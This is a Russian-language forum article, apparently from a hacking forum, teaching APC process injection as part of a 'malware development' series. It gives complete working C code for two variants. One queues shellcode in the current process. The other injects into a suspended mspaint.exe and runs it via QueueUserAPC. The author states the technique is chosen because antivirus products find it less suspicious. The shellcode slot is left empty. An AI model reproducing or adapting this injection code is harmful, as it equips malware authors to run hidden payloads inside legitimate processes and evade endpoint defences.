Ставим уколы процессам в Windows. Часть 5: APC-инъекция

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: shqnx
Специально для XSS.is


Вступление
Всем привет, дорогие читатели. В данной статье будет рассматриваться довольно простая техника выполнения инъекции, которую по степени сложности можно сравнить с самой стандартной инъекцией шелл-кода в процесс, о которой мы говорили в первой части. Здесь я буду демонстрировать два варианта данной техники, по которым мы поочерёдно пройдёмся и разберёмся в их работе. Особо опытные на вряд-ли узнают тут для себя что-либо новое, а вот новички и те, кто только собирается познать силу могучего языка Си в контексте разработки мальвари, вы попали по адресу. Для тех, кто еще не знаком с предыдущими статьями данной серии, прикрепляю ссылки:
Часть 1
Часть 2
Часть 3
Часть 4

Теоретическая часть
Вот мы и переходим ко "всеми любимой" теории =) На самом деле супер сложного в данной технике действительно ничего нет, поэтому теория не будет слишком большой и нудной. Рассмотрим исключительно важные моменты. Начать я хотел бы с объяснения того, чем же эта техника отличается от самой банальной инъекции шелл-кода в процесс. Так вот, в данном случае мы можем пренебречь использованием функции CreateRemoteThread(), которая задрочена уже не то, что до мозолей, а до дыр. Взамен мы будем использовать функцию QueueUserAPC(), которую более подробно рассмотрим далее. Что нам это даёт? Как минимум, самое важное — новый опыт и новые знания. А как максимум — использование менее подозрительной для антивирусных решений функции. Именно по этим двум причинам я решил включить данную технику в эту серию статей. А теперь непосредственно к теории. Начнём пожалуй с определения этого самого APC:

APC (Asynchronous Procedure Call) — это функция, которая позволяет выполнять код в контексте определённого процесса.

Каждый поток имеет свою собственную очередь APC. Добавление APC в очередь является запросом к потоку для вызова этого APC. А теперь перейдём к функции QueueUserAPC():

1722448212336.png


Источник

Название этой функции говорит само за себя. Всё, что она делает — это добавляет APC в очередь указанного потока. Однако, для того, чтобы добавленный в очередь APC был вызван, поток должен находиться в так называемом "alertable state", которое для удобства я буду называть состоянием готовности. Отсюда вытекает вполне разумный вопрос, что же это за состояние готовности? Давайте разбираться.

Итак, поток переходит в состояние готовности при помощи вызова одной из следующих функций:
1. SleepEx()

1722448275802.png


Источник

2. WaitForSingleObjectEx()

1722448299890.png


Источник

3. WaitForMultipleObjectsEx()

1722448324834.png


Источник

4. MsgWaitForMultipleObjectsEx()

1722448345130.png


Источник

Можно заметить, что у всех этих функций есть общий параметр, bAlertable. Так вот, поток находится в состоянии готовности при bAlertable, равном TRUE.

На этом основная необходимая для начала теория заканчивается. Далее уже в процессе практики буду делать небольшие вставки с пояснениями.

Практическая часть

Первым делом реализуем самую простую вариацию APC-инъекции, в которой шелл-код будет выполняться внутри текущего процесса. Приступаем к написанию кода:
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
    /* Место для вашего шелл-кода */
};

int main() {
    SIZE_T payloadSize = NULL;
    LPVOID rBuffer = NULL;

    payloadSize = sizeof(payload);

    printf("[*] Выделяем память внутри локального процесса\n");
    rBuffer = VirtualAllocEx(GetCurrentProcess(), NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    printf("[+] Память внутри локального процесса успешно выделена\n");
    if (rBuffer == NULL) {
        printf("[!] Не удалось выделить память внутри локального процесса, ошибка: 0x%1x\n", GetLastError());
        return EXIT_FAILURE;
    }

    [ ... ]

Итак, всё начинается вполне себе обычным образом, если сравнивать с первой частью в данной серии статей, за исключением строки:
rBuffer = VirtualAllocEx(GetCurrentProcess(), NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Нажмите, чтобы раскрыть...

Что же такое GetCurrentProcess()? Объясню, GetCurrentProcess() — это функция, которая позволяет извлекать псевдо хэндл для текущего процесса. Это простая и одновременно очень хорошая вещь в контексте данной программы. Псевдо хэндл представляет собой специальную константу, которую можно интерпретировать как текущий хэндл процесса. Лучше лишний раз рассказать, чтобы слово "псевдо" не вызывало сомнений =)

Кстати говоря, раз уж мы работаем с текущим процессом, для выделения памяти в нём также можно использовать функцию VirtualAlloc(), выглядеть это будет следующим образом:
rBuffer = VirtualAlloc(NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Нажмите, чтобы раскрыть...

Двигаемся дальше:
C: Скопировать в буфер обмена
Код:
    [ ... ]

    printf("[*] Записываем пэйлоад в выделенную память\n");
    if (!WriteProcessMemory(GetCurrentProcess(), rBuffer, payload, payloadSize, NULL) == 0) {
        printf("[+] Запись пэйлоада в выделенную память успешно завершена\n");
    }
    else {
        printf("[!] Не удалось записать пэйлоад в выделенную память, ошибка: 0x%lx\n", GetLastError());
        return EXIT_FAILURE;
    }

    [ ... ]

Вновь используем GetCurrentProcess() вместо привычного hProcess, в остальном всё без изменений. Переходим дальше:
C: Скопировать в буфер обмена
Код:
    [ ... ]

    printf("[*] Добавляем APC в очередь\n");
    if (!QueueUserAPC((PAPCFUNC)rBuffer, GetCurrentThread(), NULL) == 0) {
        printf("[+] APC успешно добавлен в очередь потока\n");
    }
    else
    {
        printf("[!] Не удалось добавить APC в очередь\n");
        return EXIT_FAILURE;
    }

    printf("[*] Вызываем WaitForSingleObjectEx()");
    WaitForSingleObjectEx(GetCurrentThread(), INFINITE, TRUE);

    return EXIT_SUCCESS;
}

И вот, наконец, долгожданная функция QueueUserAPC(). Быстренько пройдёмся по ней.

1722448599833.png


Источник

Итак, мы видим, что у этой функции всего три параметра. Разберём каждый из них по отдельности:
1. (PAPCFUNC)rBuffer — указатель на функцию типа PAPCFUNC. Что за тип такой, этот ваш PAPCFUNC? PAPCFUNC — это тип данных, который используется в Windows API для представления указателя на функцию, которая будет вызываться по завершении асинхронной операции. В нашем случае rBuffer содержит адрес функции, которая должна быть вызвана;
2. GetCurrentThread() — хэндл текущего потока, в контексте которого будет вызван APC;
3. NULL — опциональные данные, которые можно передать функции. В нашей ситуации этот параметр не используется.

[!] Попрошу заметить, что для функции QueueUserAPC() не определены значения ошибок, которые можно получить, вызвав GetLastError() [!]

Напоследок вызываем функцию WaitForSingleObjectEx() для установки потока в состояние готовности. Как я уже говорил ранее, вы также можете использовать SleepEx(), WaitForMultipleObjectsEx() или MsgWaitForMultipleObjectsEx() для этой самой задачи.

Лично я использовал PoC шелл-код, который просто открывает калькулятор. Ну и как же без скриншота с результатом =)

1722448838491.png



Спойлер: Полный код
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
    /* Место для вашего шелл-кода */
};

int main() {
    SIZE_T payloadSize = NULL;
    LPVOID rBuffer = NULL;

    payloadSize = sizeof(payload);

    printf("[*] Выделяем память внутри локального процесса\n");
    rBuffer = VirtualAllocEx(GetCurrentProcess(), NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    printf("[+] Память внутри локального процесса успешно выделена\n");
    if (rBuffer == NULL) {
        printf("[!] Не удалось выделить память, ошибка: 0x%1x\n", GetLastError());
        return EXIT_FAILURE;
    }

    printf("[*] Записываем пэйлоад в выделенную память\n");
    if (!WriteProcessMemory(GetCurrentProcess(), rBuffer, payload, payloadSize, NULL) == 0) {
        printf("[+] Запись пэйлоада в выделенную память успешно завершена\n");
    }
    else {
        printf("[!] Не удалось записать пэйлоад в выделенную память, ошибка: 0x%lx\n", GetLastError());
        return EXIT_FAILURE;
    }

    printf("[*] Добавляем APC в очередь\n");
    if (!QueueUserAPC((PAPCFUNC)rBuffer, GetCurrentThread(), NULL) == 0) {
        printf("[+] APC успешно добавлен в очередь потока\n");
    }
    else
    {
        printf("[!] Не удалось добавить APC в очередь\n");
        return EXIT_FAILURE;
    }

    printf("[*] Вызываем WaitForSingleObjectEx()");
    WaitForSingleObjectEx(GetCurrentThread(), INFINITE, TRUE);

    return EXIT_SUCCESS;
}

Теперь напишем другую вариацию данной инъекции, которая будет совсем чуть-чуть сложнее первой:
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
    /*---[Место для вашего шелл-кода]---*/
};

int main() {
    STARTUPINFOA SI = { 0 };
    PROCESS_INFORMATION PI = { 0 };

    SIZE_T payloadSize = NULL;
    LPVOID rBuffer = NULL;

    printf("[*] Создаём новый процесс\n");
    if (CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
        printf("[+] Процесс успешно создан\n");
    }
    else {
        printf("[!] Не удалось создать процесс, ошибка: 0x%1x\n", GetLastError());
        return EXIT_FAILURE;
    }

    [...]

Итак, быстренько пройдемся по тому, чего в прошлых статьях данной серии мы не обсуждали:
1. STARTUPINFOA и PROCESS_INFORMATION — структуры, используемые в Windows API для создания и управления процессами. Разберём поподробнее каждую из них:

STARTUPINFO — структура, которая содержит информацию о том, как запустить процесс, в том числе его начальное состояние окна и другие параметры. В данном случае используется структура STARTUPINFOA, которая предназначена для работы с ANSI-символами (8-битные символы). Мы инициализируем эту структуру нулём. Это означает, что все члены структуры будут установлены в нулевые значения;

1722449004460.png


Источник

PROCESS_INFORMATION — структура, которая используется для получения информации о созданном процессе и его потоке. По аналогии со STARTUPINFOA, инициализируем эту структуру нулём. Она включает в себя:
hProcess — хэндл процесса;
hThread — хэндл основного потока процесса;
dwProcessId — идентификатор процесса;
dwThreadId — идентификатор основного потока;

1722449052203.png


Источник

2. CreateProcessA — функция из Windows API, которая создает новый процесс и его основной поток. В отличие от CreateProcessW, функция CreateProcessA работает с ANSI-строками (то есть, строками, закодированными в формате ASCII).

1722449097145.png


Источник

Быстренько пройдёмся по параметрам данной функции:
lpApplicationName — имя исполняемого модуля, в строке можно указать полный путь к исполняемому файлу, который будет запущен. В моём сценарии в качестве исполняемого файла выступает mspaint.exe, однако никто не запрещает вам создать процесс условного svchost.exe или чего-нибудь другого;
lpCommandLine — командная строка для выполнения. Так как значение данного параметра у нас NULL, в качестве командной строки будет выступать строка, которая установлена в значении параметра lpApplicationName;
lpProcessAttributes — указатель на структуру SECURITY_ATTRIBUTES, которая определяет безопасность процесса. Если значение NULL, процесс наследует атрибуты безопасности родительского процесса;
lpThreadAttributes — аналогично с lpProcessAttributes, за исключением того, что тут речь про основной поток, а не про процесс;
bInheritHandles — указывает, следует ли наследовать хэндлы из родительского процесса. В нашем случае значение FALSE, поэтому хэндлы процесса не будут наследоваться;
dwCreationFlags — флаги, которые управляют классом приоритета и созданием процесса. В нашем случае необходимо создать процесс с флагом CREATE_SUSPENDED, иными словами создать процесс в приостановленном состоянии (далее будет объяснение почему именно так);
lpEnvironment — указатель на блок среды для нового процесса. В нашем случае установлено значение NULL, поскольку мы хотим наследовать блок среды по умолчанию;
lpCurrentDirectory — указывает на текущую директорию для нового процесса. Указывая значение NULL, мы будем использовать текущий каталог родительского процесса;
lpStartupInfo — указатель на структуру STARTUPINFO, которую мы уже рассмотрели ранее;
lpProcessInformation — указатель на структуру PROCESS_INFORMATION, которую мы также уже рассмотрели ранее.

Двигаемся дальше:
C: Скопировать в буфер обмена
Код:
    [ ... ]

    payloadSize = sizeof(payload);

    printf("[*] Выделяем память в созданном процессе\n");
    rBuffer = VirtualAllocEx(PI.hProcess, NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    printf("[+] Память в созданном процессе успешно выделена\n");
    if (rBuffer == NULL) {
        printf("[!] Не удалось выделить память в созданном процессе, ошибка: 0x%1x\n", GetLastError());
        return EXIT_FAILURE;
    }

    printf("[*] Записываем пэйлоад в выделенную память\n");
    if (!WriteProcessMemory(PI.hProcess, rBuffer, payload, payloadSize, NULL) == 0) {
        printf("[+] Запись пэйлоада в выделенную память успешно завершена\n");
    }
    else {
        printf("[!] Не удалось записать пэйлоад в выделенную память, ошибка: 0x%lx\n", GetLastError());
        return EXIT_FAILURE;
    }

    [ ... ]

Используем уже рассмотренную выше структуру PROCESS_INFORMATION для получения хэндла процесса (PI.hProcess). А всё остальное уже обсуждалось. Следующий и финальный шаг:
C: Скопировать в буфер обмена
Код:
    [ ... ]

    printf("[*] Добавляем APC в очередь\n");
    if (!QueueUserAPC((PAPCFUNC)rBuffer, PI.hThread, NULL) == 0) {
        printf("[+] APC успешно добавлен в очередь\n");
    }
    else
    {
        printf("[!] Не удалось добавить APC в очередь\n");
        return EXIT_FAILURE;
    }

    printf("[*] Возобновляем выполнение потока\n");
    ResumeThread(PI.hThread);

    printf("[*] Ждём завершения выполнения потока\n");
    WaitForSingleObject(PI.hThread, INFINITE);
    printf("[+] Поток завершил выполнение\n");

    printf("[*] Очистка");
    CloseHandle(PI.hProcess);
    CloseHandle(PI.hThread);

    return EXIT_SUCCESS;
}

Касаемо QueueUserAPC(), единственное из того что тут поменялось, так это способ обозначения хэндла потока через структуру PROCESS_INFORMATION (PI.hThread). Далее после добавления APC в очередь мы возобновляем выполнение потока для того, чтобы успешно вызвать наш APC. В этом и заключается смысл данного варианта выполнения APC-инъекции. Изначально мы создаём процесс с флагом CREATE_SUSPENDED. И делаем мы это не просто так, потому что захотелось. Суть заключается в том, что основной поток процесса, созданного с этим флагом, не запускается до тех пор, пока мы явно не вызовем функцию ResumeThread(). Подытожим теперь, так как поток был в состоянии готовности из-за использования флага CREATE_SUSPENDED при создании процесса, мы смогли успешно вызвать добавленный в очередь во время "спячки" потока APC.

Спойлер: Полный код
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
    /*---[Место для вашего шелл-кода]---*/
};

int main() {
    STARTUPINFOA SI = { 0 };
    PROCESS_INFORMATION PI = { 0 };

    SIZE_T payloadSize = NULL;
    LPVOID rBuffer = NULL;

    printf("[*] Создаём новый процесс\n");
    if (CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
        printf("[+] Процесс успешно создан\n");
    }
    else {
        printf("[!] Не удалось создать процесс, ошибка: 0x%1x\n", GetLastError());
        return EXIT_FAILURE;
    }

    payloadSize = sizeof(payload);

    printf("[*] Выделяем память в созданном процессе\n");
    rBuffer = VirtualAllocEx(PI.hProcess, NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    printf("[+] Память в созданном процессе успешно выделена\n");
    if (rBuffer == NULL) {
        printf("[!] Не удалось выделить память в созданном процессе, ошибка: 0x%1x\n", GetLastError());
        return EXIT_FAILURE;
    }

    printf("[*] Записываем пэйлоад в выделенную память\n");
    if (!WriteProcessMemory(PI.hProcess, rBuffer, payload, payloadSize, NULL) == 0) {
        printf("[+] Запись пэйлоада в выделенную память успешно завершена\n");
    }
    else {
        printf("[!] Не удалось записать пэйлоад в выделенную память, ошибка: 0x%lx\n", GetLastError());
        return EXIT_FAILURE;
    }

    printf("[*] Добавляем APC в очередь\n");
    if (!QueueUserAPC((PAPCFUNC)rBuffer, PI.hThread, NULL) == 0) {
        printf("[+] APC успешно добавлен в очередь\n");
    }
    else
    {
        printf("[!] Не удалось добавить APC в очередь\n");
        return EXIT_FAILURE;
    }

    printf("[*] Возобновляем выполнение потока\n");
    ResumeThread(PI.hThread);

    printf("[*] Ждём завершения выполнения потока\n");
    WaitForSingleObject(PI.hThread, INFINITE);
    printf("[+] Поток завершил выполнение\n");

    printf("[*] Очистка");
    CloseHandle(PI.hProcess);
    CloseHandle(PI.hThread);

    return EXIT_SUCCESS;
}

И снова скриншот с результатом =)

1722449283178.png



Заключение
Итак, в данной статье мы разобрали смысл использования функции QueueUserAPC() для инъекции нашего пэйлоада в процесс. Статья получилась довольно простая для понимания. Я считаю, что APC-инъекция, хотя бы в таком простеньком виде, но всё таки должна быть хоть как-то обговорена в рамках данной серии статей. Всем спасибо, кто дочитал до этого момента =) Всем успехов!
 
Сверху Снизу